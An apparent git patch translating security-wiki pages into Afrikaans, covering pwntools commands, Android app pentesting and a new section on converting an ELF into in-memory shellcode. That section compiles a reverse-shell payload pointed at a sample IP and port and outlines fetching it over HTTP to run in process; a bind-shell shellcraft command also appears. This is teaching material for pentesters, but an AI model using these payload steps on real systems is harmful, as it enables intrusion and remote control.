From e14f9d6c27ba64cc3f0150426631f76aacd23b82 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 02:12:07 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met --- src/SUMMARY.md | 1 + .../tools/pwntools.md | 83 ++- .../android-app-pentesting/README.md | 544 +++++++++--------- .../in-memory-jni-shellcode-execution.md | 121 ++++ .../reversing-native-libraries.md | 93 +-- 5 files changed, 506 insertions(+), 336 deletions(-) create mode 100644 src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 3e41d9a7b..edddf45ba 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -353,6 +353,7 @@ - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) + - [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md) - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md) - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 3c1c8171e..0aedc0475 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -6,21 +6,21 @@ pip3 install pwntools ``` ## Pwn asm -Kry **opcodes** van lyn of lêer. +Kry **opcodes** vanaf 'n reël of 'n lêer. ``` pwn asm "jmp esp" pwn asm -i ``` **Kan kies:** -- uitvoer tipe (raw, hex, string, elf) -- uitvoer lêer konteks (16, 32, 64, linux, windows...) -- vermy bytes (nuwe lyne, null, 'n lys) -- kies kodering debug shellcode met gdb om die uitvoer te loop +- uitsettipe (raw,hex,string,elf) +- uitsetlêer-konteks (16,32,64,linux,windows...) +- vermy bytes (new lines, null, a list) +- kies encoder, debug shellcode met gdb, voer die uitset uit ## **Pwn checksec** -Checksec skrif +Checksec-skrip ``` pwn checksec ``` @@ -35,9 +35,9 @@ pwn cyclic -l faad ``` **Kan kies:** -- Die gebruikte alfabet (kleinletters per standaard) -- Lengte van unieke patroon (standaard 4) -- konteks (16,32,64,linux,windows...) +- Die gebruikte alfabet (kleinletters standaard) +- Lengte van uniq pattern (standaard 4) +- context (16,32,64,linux,windows...) - Neem die offset (-l) ## Pwn debug @@ -50,37 +50,37 @@ pwn debug --process bash ``` **Kan kies:** -- Deur uitvoerbare lêer, naam of pid-konteks (16,32,64,linux,windows...) +- Deur executable, deur name of deur pid context (16,32,64,linux,windows...) - gdbscript om uit te voer -- sysrootpad +- sysrootpath ## Pwn disablenx -Deaktiveer nx van 'n binêre +Skakel nx van 'n binary af ``` pwn disablenx ``` ## Pwn disasm -Disas hex opcodes +Ontleed hex opcodes ``` pwn disasm ffe4 ``` **Kan kies:** - konteks (16,32,64,linux,windows...) -- basis adres +- basisadres - kleur (standaard)/geen kleur ## Pwn elfdiff -Druk verskille tussen 2 lêers uit +Wys verskille tussen 2 lêers ``` pwn elfdiff ``` ## Pwn hex -Kry hexadesimale voorstelling +Kry heksadesimale voorstelling ```bash pwn hex hola #Get hex of "hola" ascii ``` @@ -93,8 +93,8 @@ pwn phd **Kan kies:** - Aantal bytes om te wys -- Aantal bytes per lyn beklemtoon byte -- Skuif bytes aan die begin +- Aantal bytes per reël highlight byte +- Slaan bytes aan die begin oor ## Pwn pwnstrip @@ -113,25 +113,25 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port **Kan kies:** - shellcode en argumente vir die shellcode -- Uitvoer lêer +- Uitlêer - uitvoerformaat - debug (koppel dbg aan shellcode) -- voor (debug val voor kode) +- before (debug trap before code) - na -- vermy die gebruik van opcodes (verstek: nie null en nuwe lyn nie) +- vermy opcodes (standaard: nie null en new line nie) - Voer die shellcode uit - Kleur/geen kleur - lys syscalls - lys moontlike shellcodes -- Genereer ELF as 'n gedeelde biblioteek +- Genereer 'n ELF as 'n shared library -## Pwn sjabloon +## Pwn template -Kry 'n python sjabloon +Kry 'n python-sjabloon ``` pwn template ``` -**Kan kies:** gasheer, poort, gebruiker, wagwoord, pad en stil +**Kan kies:** host, port, user, pass, path and quiet ## Pwn unhex @@ -145,4 +145,37 @@ Om pwntools op te dateer ``` pwn update ``` +## ELF → raw shellcode packaging (loader_append) + +Pwntools kan 'n standalone ELF omskakel na 'n enkele raw shellcode‑blob wat sy eie segmente self in kaart bring en uitvoering oordra na die oorspronklike entrypoint. Dit is ideaal vir memory‑only loaders (bv., Android apps wat JNI aanroep om afgelaaide bytes uit te voer). + +Typical pipeline (amd64 example) + +1) Bou 'n statiese, posisie‑onafhanklike payload ELF (musl aanbeveel vir draagbaarheid): +```bash +musl-gcc -O3 -s -static -o exploit exploit.c \ +-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" +``` +2) Skakel ELF → shellcode met pwntools: +```python +# exp2sc.py +from pwn import * +context.clear(arch='amd64') +elf = ELF('./exploit') +sc = asm(shellcraft.loader_append(elf.data, arch='amd64')) +open('sc','wb').write(sc) +print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes") +``` +3) Lewer sc aan 'n memory loader (bv. via HTTP[S]) en voer dit in‑proses uit. + +Aantekeninge +- loader_append inkorporeer die oorspronklike ELF-program in die shellcode en genereer 'n klein loader wat die segmentte mmaps en na die entry spring. +- Wees eksplisiet oor die argitektuur via context.clear(arch=...). arm64 is algemeen op Android. +- Hou jou payload se kode posisie‑onafhanklik en vermy aannames oor proses ASLR/NX. + +## Verwysings + +- [Pwntools](https://docs.pwntools.com/en/stable/) +- [CoRPhone – ELF→shellcode-pipeline wat gebruik word vir Android in-memory uitvoering](https://github.com/0xdevil/corphone) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 7a94f66dd..6ee0006a1 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,10 +1,10 @@ -# Android Applications Pentesting +# Android-toepassings Pentesting {{#include ../../banners/hacktricks-training.md}} -## Android Applications Basics +## Android-toepassings Basiese beginsels -Dit word sterk aanbeveel om eers hierdie bladsy te lees om die **belangrikste gedeeltes wat verband hou met Android-sekuriteit en die gevaarlikste komponente in 'n Android-toepassing** te leer ken: +Dit word sterk aanbeveel om hierdie bladsy eers te lees om te weet oor die **belangrijkste dele wat verband hou met Android-sekuriteit en die gevaarlikste komponente in 'n Android-toepassing**: {{#ref}} @@ -13,23 +13,22 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -Dit is die hoofhulpmiddel wat jy nodig het om aan 'n Android-toestel (gesimuleer of fisies) te koppel.\ -**ADB** stel jou in staat om toestelle oor **USB** of **Network** van 'n rekenaar te beheer. Hierdie hulpmiddel maak dit moontlik om lêers in albei rigtings te **kopieer**, toepassings te **installeer** en te **verwyder**, shell-opdragte uit te **voer**, data te **rugsteun**, logs te **lees**, onder andere funksies. +Dit is die hoofinstrument wat jy nodig het om aan 'n android-toestel (gesimuleer of fisies) te koppel.\ +**ADB** laat toe om toestelle óf oor **USB** of oor **Network** van 'n rekenaar af te beheer. Hierdie nutsprogram maak die **kopieer** van lêers in beide rigtings, **installasie** en **uninstallasie** van apps, **uitvoering** van shell-kommando's, **rugsteun** van data, **lees** van logs, onder andere funksies moontlik. Kyk na die volgende lys van [**ADB Commands**](adb-commands.md) om te leer hoe om adb te gebruik. ## Smali -Soms is dit interessant om die **toepassingskode te wysig** om by **weggesteekte inligting** te kom (miskien goed obfuscated wagwoorde of flags). Dan kan dit handig wees om die apk te dekompilleer, die kode te wysig en dit weer te kompilleer.\ -[**In hierdie tutorial** kan jy **leer hoe om 'n APK te dekompilleer, Smali-kode te wysig en die APK weer te kompilleer** met die nuwe funksionaliteit](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat aangebied gaan word. Hou dus **altyd hierdie moontlikheid in gedagte**. +Soms is dit interessant om die **toepassingskode te wysig** om by **verborgen inligting** te kom (bv. goed geobfuseerde wagwoorde of flags). Dan kan dit sinvol wees om die apk te dekompileer, die kode te wysig en dit weer te compileer.\ [**In hierdie tutoriaal** kan jy **leer hoe om 'n APK te dekompileer, Smali-kode te wysig en die APK weer te compileer** met die nuwe funksionaliteit](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat aangebied gaan word. Hou dus **altyd hierdie moontlikheid in gedagte**. -## Other interesting tricks +## Ander interessante truuks - [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **Laai APKs af**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Onttrek APK vanaf toestel: ```bash adb shell pm list packages @@ -63,38 +62,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## Statiese Analise -Eerstens, vir die ontleding van 'n APK moet jy **na die Java code kyk** met 'n decompiler.\ -Lees asseblief [**hier vir inligting oor verskillende beskikbare decompilers**](apk-decompilers.md). +Eerstens, om 'n APK te ontleed moet jy **na die Java-kode kyk** met 'n dekompiler.\ +Asseblief, [**lees hier om inligting oor verskillende beskikbare dekompilers te vind**](apk-decompilers.md). ### Op soek na interessante inligting -Deur net na die **strings** van die APK te kyk kan jy soek na **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** en enigiets interessant... kyk selfs vir code execution **backdoors** of authentication backdoors (hardcoded admin credentials to the app). +Net deur na die **strings** van die APK te kyk kan jy soek na **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** en enigiets interessant... kyk selfs vir code execution **backdoors** of authentication backdoors (hardcoded admin credentials to the app). **Firebase** -Let besondere aandag aan **Firebase URLs** en kontroleer of dit verkeerd gekonfigureer is. [Meer inligting oor wat Firebase is en hoe om dit te misbruik hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Gee besondere aandag aan **firebase URLs** en kyk of dit verkeerd gekonfigureer is. [Meer inligting oor wat Firebase is en hoe om dit te exploit hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Basiese begrip van die toepassing - Manifest.xml, strings.xml -Die **ondersoek van 'n toepassing se _Manifest.xml_ en **_strings.xml_** lêers kan potensiële sekuriteitskwesbaarhede openbaar**. Hierdie lêers kan verkry word met behulp van decompilers of deur die APK-lêeruitbreiding na .zip te hernoem en dit dan uit te pak. +Die **ondersoek van 'n toepassing se _Manifest.xml_ en _strings.xml_ lêers kan potensiële sekuriteitskwesbaarhede openbaar**. Hierdie lêers kan met dekompilers verkry word of deur die APK-lêeruitbreiding na .zip te hernoem en dit dan uit te pak. -**Kwesbaarhede** geïdentifiseer in die **Manifest.xml** sluit in: +**Kwesbaarhede** geïdentifiseer uit die **Manifest.xml** sluit in: -- **Debuggable Applications**: Aplikasies wat as debuggable gestel is (`debuggable="true"`) in die _Manifest.xml_ lêer vorm 'n risiko aangesien hulle verbindings toelaat wat tot uitbuiting kan lei. Vir meer begrip oor hoe om debuggable applications te eksploiteer, verwys na 'n handleiding oor die vind en uitbuiting van debuggable applications op 'n toestel. -- **Backup Settings**: Die `android:allowBackup="false"` attribuut moet uitdruklik gestel wees vir toepassings wat met sensitiewe inligting werk om ongemagtigde data-backups via adb te voorkom, veral wanneer usb debugging aangeskakel is. -- **Network Security**: Pasgemaakte network security-konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede spesifiseer soos sertifikaat-pins en HTTP-verkeerinstellings. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat. -- **Exported Activities and Services**: Die identifisering van exported activities en services in die manifest kan komponente uitlig wat misbruik kan word. Verdere analise tydens dinamiese toetsing kan openbaar hoe om hierdie komponente te eksploiteer. -- **Content Providers and FileProviders**: Blootgestelde content providers kan ongemagtigde toegang of wysiging van data toelaat. Die konfigurasie van FileProviders moet ook deeglik ondersoek word. -- **Broadcast Receivers and URL Schemes**: Hierdie komponente kan vir uitbuiting aangewend word, met spesiale aandag aan hoe URL schemes bestuur word vir invoer-kwesbaarhede. -- **SDK Versions**: Die `minSdkVersion`, `targetSDKVersion`, en `maxSdkVersion` attribuut wys die ondersteunde Android-weergawes, wat die belangrikheid beklemtoon om nie verouderde, kwesbare Android-weergawes te ondersteun nie. +- **Debuggable Applications**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer gestel is vorm 'n risiko aangesien hulle verbindings toelaat wat tot exploit kan lei. Vir meer begrip oor hoe om debuggable applications te exploit, verwys na 'n tutorial oor die vind en exploit van debuggable applications op 'n toestel. +- **Backup Settings**: Die `android:allowBackup="false"` attribuut moet eksplisiet gestel word vir toepassings wat sensitiewe inligting hanteer om ongemagtigde databackups via adb te voorkom, veral wanneer usb debugging aangeskakel is. +- **Network Security**: Aangepaste netwerk-sekuriteitskonfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos certificate pins en HTTP-traffiek instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat. +- **Exported Activities and Services**: Die identifisering van exported activities en services in die manifest kan komponente uitlig wat misbruik kan word. Verdere ontleding tydens dinamiese toetsing kan blootlê hoe om hierdie komponente te exploit. +- **Content Providers and FileProviders**: Blootgestelde content providers kan ongemagtigde toegang tot of wysiging van data toelaat. Die konfigurering van FileProviders moet ook deeglik nagegaan word. +- **Broadcast Receivers and URL Schemes**: Hierdie komponente kan vir exploit aangewend word, met spesiale aandag aan hoe URL schemes bestuur word vir invoer-kwesbaarhede. +- **SDK Versions**: Die `minSdkVersion`, `targetSDKVersion`, en `maxSdkVersion` attributte dui die ondersteunde Android-weergawe aan, wat die belangrikheid beklemtoon om nie ou, kwesbare Android-weergawes te ondersteun nie. -In die **strings.xml** lêer kan sensitiewe inligting soos API keys, custom schemas en ander ontwikkelaar-notas gevind word, wat die behoefte aan 'n deeglike hersiening van hierdie hulpbronne beklemtoon. +Uit die **strings.xml** lêer kan sensitiewe inligting soos API keys, custom schemas en ander ontwikkelaarsnotas gevind word, wat die behoefte aan 'n deeglike hersiening van hierdie hulpbronne beklemtoon. ### Tapjacking -**Tapjacking** is 'n aanval waar 'n **kwaadwillige toepassing** gelanseer word en homself bo-op 'n slagoffer-toepassing posisioneer. Sodra dit die slagoffer-app sigbaar verdoesel, is sy gebruikerskoppelvlak so ontwerp om die gebruiker te mislei om daarmee te kommunikeer, terwyl dit die interaksie aan die slagoffer-app deurgee. In werklikheid word die gebruiker verblind sodat hulle nie weet dat hulle eintlik aksies op die slagoffer-app uitvoer nie. +**Tapjacking** is 'n aanval waar 'n **kwaadaardige toepassing** geloods word en homself bo 'n slagoffer-toepassing posisioneer. Sodra dit die slagoffer-app sigbaar oorbedek, is die gebruikerskoppelvlak so ontwerp dat dit die gebruiker mislei om daarmee te interaksie, terwyl die interaksie aan die slagoffer-app oorgedra word.\ +In werklikheid **blind dit die gebruiker daarvan dat hulle eintlik aksies op die slagoffer-app uitvoer**. -Find more information in: +Vind meer inligting in: {{#ref}} @@ -103,82 +103,82 @@ tapjacking.md ### Task Hijacking -'n activity met die `launchMode` gestel op `singleTask` sonder enige `taskAffinity` gedefinieer is kwesbaar vir Task Hijacking. Dit beteken dat 'n application geïnstalleer kan word en as dit voor die regte toepassing gelanseer word, kan dit die taak van die regte toepassing kaap (sodat die gebruiker met die kwaadwillige toepassing sal interakteer en dink hy gebruik die regte een). +'n **activity** met die **`launchMode`** gestel op **`singleTask` sonder enige `taskAffinity`** gedefinieer is kwesbaar vir task Hijacking. Dit beteken dat 'n **application** geïnstalleer kan word en as dit voor die werklike toepassing geloods word, kan dit die **taak van die werklike toepassing kap** (sodat die gebruiker met die **kwaadaardige toepassing dink hy gebruik die werklike een**). -More info in: +Meer info in: {{#ref}} android-task-hijacking.md {{#endref}} -### Onveilige datastoor +### Insecure data storage -**Interne stoorplek** +**Internal Storage** -In Android is lêers wat in interne stoorplek gestoor word bedoel om uitsluitlik deur die app wat dit geskep het toeganklik te wees. Hierdie sekuriteitsmaatreël word deur die Android-bedryfstelsel afgedwing en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Ontwikkelaars gebruik egter soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om lêers tussen verskillende toepassings te deel. Hierdie modi beperk egter nie toegang tot hierdie lêers deur ander toepassings nie, insluitend moontlik kwaadwillige eenhede. +In Android is lêers wat in **internal** storage gestoor word ontwerp om uitsluitlik deur die **app** wat dit geskep het toeganklik te wees. Hierdie sekuriteitsmaatreël word deur die Android-bedryfstelsel afgedwing en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van meeste toepassings. Ontwikkelaars gebruik egter soms modusse soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om toe te laat dat lêers tussen verskillende toepassings **gedeel** word. Hierdie modusse **beperk egter nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadaardige toepassings. 1. **Static Analysis:** -- **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` noukeurig ondersoek word. Hierdie modi **kan lêers potensieel blootstel** aan onbedoelde of ongemagtigde toegang. +- **Maak seker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` noukeurig nagegaan word. Hierdie modusse **kan moontlik lêers blootstel** aan ongewenste of ongemagtigde toegang. 2. **Dynamic Analysis:** -- **Verifieer** die **permitte** wat op lêers geskep deur die app gestel is. Spesifiek, **kyk** of enige lêers vir wêreldwye lees- of skryfregte gestel is. Dit kan 'n beduidende sekuriteitsrisiko wees, aangesien dit enige toepassing op die toestel, ongeag herkoms of doel, toelaat om hierdie lêers te lees of te wysig. +- **Kontroleer** die **permisse** wat op lêers geskep deur die app gestel is. Spesifiek, **kry vas** of enige lêers ingestel is om wêreldwyd lees- of skryfbaar te wees. Dit kan 'n beduidende sekuriteitsrisiko inhou, aangesien dit **enige toepassing** op die toestel, ongeag herkoms of bedoeling, in staat sou stel om hierdie lêers te lees of te wysig. -**Eksterne stoorplek** +**External Storage** -Wanneer jy met lêers op eksterne stoorplek werk, soos SD-kaarte, moet sekere voorsorgmaatreëls getref word: +Wanneer jy met lêers op **external storage**, soos SD-kaarte, werk, moet sekere voorsorgmaatreëls in ag geneem word: 1. **Toeganklikheid**: -- Lêers op eksterne stoorplek is wêreldwyd lees- en skryfbaar. Dit beteken enige toepassing of gebruiker kan toegang kry. +- Lêers op external storage is **wereldwyd lees- en skryfbaar**. Dit beteken enige toepassing of gebruiker kan toegang tot hierdie lêers kry. 2. **Sekuriteitskwessies**: -- Gegewe die maklike toegang word dit aanbeveel om **nie sensitiewe inligting** op eksterne stoorplek te berg nie. -- Eksterne stoorplek kan verwyder of deur enige toepassing geraak word, wat dit minder veilig maak. -3. **Hantering van data van eksterne stoorplek**: -- Voer altyd **invoer-validasie** uit op data wat van eksterne stoorplek verkry is. Dit is noodsaaklik aangesien die data van 'n onbetroubare bron kom. -- Dit word sterk ontraden om uitvoerbare lêers of klaslêers op eksterne stoorplek te stoor vir dinamiese laai. -- As jou toepassing uitvoerbare lêers vanaf eksterne stoorplek moet laai, maak seker dat hierdie lêers **gesign en kriptografies geverifieer** is voordat hulle dinamies gelaai word. Hierdie stap is van kardinale belang om die sekuriteitsintegriteit van jou toepassing te behou. +- Gegewe die maklike toegang, word dit nie aanbeveel om sensitiewe inligting op external storage te stoor nie. +- External storage kan verwyder word of deur enige toepassing verkry word, wat dit minder veilig maak. +3. **Hanering van data van external storage**: +- Voer altyd **invoervalidatie** op data wat van external storage verkry word uit. Dit is kritiek omdat die data uit 'n onbetroubare bron kom. +- Dit word sterk ontraden om uitvoerbare lêers of class-lêers op external storage te stoor vir dinamiese lading. +- As jou toepassing noodsaaklikerwys uitvoerbare lêers vanaf external storage moet haal, maak seker dat hierdie lêers **gesigneer en kriptografies geverifieer** is voordat hulle dinamies gelaai word. Hierdie stap is noodsaaklik om die sekuriteitsintegriteit van jou toepassing te handhaaf. -Eksterne stoorplek kan in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` bereik word +External storage kan in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` bereik word > [!TIP] -> Beginnend met Android 4.4 (**API 17**), het die SD-kaart 'n gidsstruktuur wat die toegang van 'n app beperk tot die gids wat spesifiek vir daardie app is. Dit verhoed dat 'n kwaadwillige toepassing lees- of skryf toegang tot 'n ander app se lêers kry. +> Beginne met Android 4.4 (**API 17**), het die SD-kaart 'n gidsstruktuur wat die toegang van 'n app beperk tot die gids wat spesifiek vir daardie app is. Dit keer dat 'n kwaadaardige toepassing lees- of skryf toegang tot 'n ander app se lêers kry. -**Sensitiewe data gestoor in duidelike teks** +**Sensitive data stored in clear-text** -- **Shared preferences**: Android laat elke toepassing toe om maklik xml-lêers te stoor in die pad `/data/data//shared_prefs/` en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind. -- **Databases**: Android laat elke toepassing toe om maklik sqlite-databasisse te stoor in die pad `/data/data//databases/` en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind. +- **Shared preferences**: Android laat elke toepassing toe om maklik xml-lêers in die pad `/data/data//shared_prefs/` te stoor en soms is dit moontlik om sensitiewe inligting in clear-text in daardie gids te vind. +- **Databases**: Android laat elke toepassing toe om maklik sqlite-databases in die pad `/data/data//databases/` te stoor en soms is dit moontlik om sensitiewe inligting in clear-text in daardie gids te vind. ### Gebroke TLS **Accept All Certificates** -Om een of ander rede aanvaar ontwikkelaars soms alle sertifikate selfs al stem byvoorbeeld die hostname nie ooreen nie met reëls kode soos die volgende: +Om een of ander rede aanvaar ontwikkelaars soms alle sertifikate selfs as byvoorbeeld die hostname nie ooreenstem nie met reëls van kode soos die volgende: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -'n Goeie manier om dit te toets is om te probeer die verkeer vas te vang met 'n proxy soos Burp sonder om die Burp CA in die toestel te autoriseer. Ook kan jy met Burp 'n sertifikaat vir 'n ander hostname genereer en dit gebruik. +A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. ### Gebroke Kriptografie -**Swak sleutelbestuursprosesse** +**Swak Sleutelbestuursprosesse** -Sommige ontwikkelaars stoor sensitiewe data in plaaslike stoorplekke en enkodeer dit met 'n sleutel wat in die kode hardkodering/patroneerbaar is. Dit behoort nie gedoen te word nie aangesien omgekeerde ingenieurswese 'n aanvaller kan toelaat om die vertroulike inligting te onttrek. +Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoorplek en enkripteer dit met 'n sleutel wat hardcoded/predictable in die kode is. Dit behoort nie gedoen te word nie, aangesien omgekeerde ingenieurswese aanvallers kan toelaat om die vertroulike inligting uit te haal. -**Gebruik van onveilige en/of verouderde algoritmes** +**Gebruik van Onveilige en/of Verouderde Algoritmes** -Ontwikkelaars behoort nie **verouderde algoritmes** te gebruik om magtiging **checks**, **store** of **send** data uit te voer nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** byvoorbeeld gebruik word om wagwoorde te stoor, moet hashes wat brute-force **resistent** is met salt gebruik word. +Ontwikkelaars moet nie **deprecated algorithms** gebruik om authorisation **checks** uit te voer, data te **store** of te **send** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** byvoorbeeld gebruik word om wagwoorde te stoor, moet hashes wees wat brute-force **resistant** is en met 'n salt gebruik word. ### Ander kontroles -- Dit word aanbeveel om die **APK** te obfuskeer om die reverse engineer se werk vir aanvallers moeiliker te maak. -- As die app sensitief is (soos bank-apps), behoort dit sy **eie kontroles om te kyk of die mobiele toestel geroot is** uit te voer en dienooreenkomstig te reageer. -- As die app sensitief is (soos bank-apps), behoort dit te kontroleer of 'n **emulator** gebruik word. -- As die app sensitief is (soos bank-apps), behoort dit **sy eie integriteit te kontroleer voordat dit uitgevoer word** om te sien of dit gewysig is. -- Gebruik [**APKiD**](https://github.com/rednaga/APKiD) om te kyk watter compiler/packer/obfuscator gebruik is om die APK te bou +- It's recommended to **obfuscate the APK** om die reverse engineer-werk vir aanvallers moeiliker te maak. +- If the app is sensitive (like bank apps), dit behoort sy **own checks to see if the mobile is rooted** uit te voer en dienooreenkomstig op te tree. +- If the app is sensitive (like bank apps), dit behoort te kontroleer of 'n **emulator** gebruik word. +- If the app is sensitive (like bank apps), dit behoort **check it's own integrity before executing** om te kyk of dit verander is. +- Use [**APKiD**](https://github.com/rednaga/APKiD) om te kyk watter compiler/packer/obfuscator gebruik is om die APK te bou -### React Native-toepassing +### React Native Application -Lees die volgende bladsy om te leer hoe om maklik toegang te kry tot die javascript-kode van React-toepassings: +Read the following page to learn how to easily access javascript code of React applications: {{#ref}} @@ -187,7 +187,7 @@ react-native-application.md ### Xamarin Applications -Lees die volgende bladsy om te leer hoe om maklik toegang te kry tot C#-kode van 'n xamarin toepassing: +Read the following page to learn how to easily access C# code of a xamarin applications: {{#ref}} @@ -196,17 +196,17 @@ Lees die volgende bladsy om te leer hoe om maklik toegang te kry tot C#-kode van ### Superpacked Applications -Volgens hierdie [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) is superpacked 'n Meta-algoritme wat die inhoud van 'n toepassing saamdruk in 'n enkele lêer. Die blog bespreek die moontlikheid om 'n app te skep wat hierdie tipe apps dekomprimeer... en 'n vinniger manier wat behels om die toepassing te **execute the application and gather the decompressed files from the filesystem.** +According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. Die blog bespreek die moontlikheid om 'n app te skep wat hierdie tipe apps dekomprimeer... en 'n vinniger manier wat behels om die toepassing te **execute the application and gather the decompressed files from the filesystem.** -### Geoutomatiseerde Statiese Kode-analise +### Automated Static Code Analysis -Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **vulnerabilities** te vind deur die **code** van die toepassing te **scan**. Hierdie hulpmiddel bevat 'n reeks **known sources** (wat aan die hulpmiddel aandui die **places** waar die **input** deur die gebruiker beheer word), **sinks** (wat aan die hulpmiddel aandui **dangerous** **places** waar kwaadwillige gebruikersinvoer skade kan veroorsaak) en **rules**. Hierdie reëls dui die **combination** van **sources-sinks** aan wat 'n kwetsbaarheid aandui. +Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **vulnerabilities** te vind deur die **code** van die toepassing te **scan**. Hierdie hulpmiddel bevat 'n reeks **known sources** (wat aan die hulpmiddel aandui die **places** waar die **input** **controlled by the user** is), **sinks** (wat die hulpmiddel aandui as **dangerous** **places** waar kwaadwillige gebruikerinvoer skade kan veroorsaak) en **rules**. Hierdie rules dui die **combination** van **sources-sinks** aan wat op 'n vulnerability wys. -Met hierdie kennis **sal mariana-trench die kode hersien en moontlike vulnerabilities daarin vind**. +Met hierdie kennis, **mariana-trench will review the code and find possible vulnerabilities on it**. ### Secrets leaked -'n Toepassing kan geheime (API keys, wagwoorde, versteekte urls, subdomeine...) daarin bevat wat jy dalk kan ontdek. Jy kan 'n hulpmiddel soos [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gebruik. +An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -217,10 +217,15 @@ bypass-biometric-authentication-android.md ### Ander interessante funksies -- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` -- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` -- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` -- [Lees dit om te leer **how to reverse native functions**](reversing-native-libraries.md) +- **Kode-uitvoering**: 